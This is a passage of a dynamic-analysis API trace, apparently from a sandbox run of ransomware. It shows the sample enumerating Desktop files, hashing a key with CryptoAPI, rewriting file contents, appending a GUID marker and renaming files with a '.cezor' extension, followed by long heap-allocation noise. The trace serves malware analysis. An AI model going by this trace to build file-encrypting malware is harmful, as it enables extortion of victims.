(in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.687] GetLastError () returned 0x0 [0060.687] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.687] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.687] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xde5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.688] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.688] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.688] CloseHandle (hObject=0x5c4) returned 1 [0060.689] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wpZkXn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wpzkxn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wpZkXn.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wpzkxn.mp4.cezor")) returned 1 [0060.690] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 1 [0060.690] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wWuRiwRN3-J7Oj9WP.jpg") returned=".jpg" [0060.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wWuRiwRN3-J7Oj9WP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wwuriwrn3-j7oj9wp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.690] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=52047) returned 1 [0060.690] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.694] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcb29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.694] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.695] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xcb4f, lpOverlapped=0x0) returned 1 [0060.695] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.696] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.696] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.696] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.696] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.696] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.696] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.696] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.696] GetLastError () returned 0x0 [0060.696] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.696] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.697] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcb4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.697] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.697] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.697] CloseHandle (hObject=0x5c4) returned 1 [0060.698] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wWuRiwRN3-J7Oj9WP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wwuriwrn3-j7oj9wp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\wWuRiwRN3-J7Oj9WP.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\wwuriwrn3-j7oj9wp.jpg.cezor")) returned 1 [0060.699] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0 [0060.699] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.699] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.699] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0060.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.700] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.700] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.700] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.700] PathFindFileNameW (pszPath="") returned="" [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0xffffffff [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.700] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.700] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.700] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.700] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.701] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.701] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.702] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.702] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.703] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.703] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.704] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.704] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.705] HeapFree (in: hHeap=0x670000, 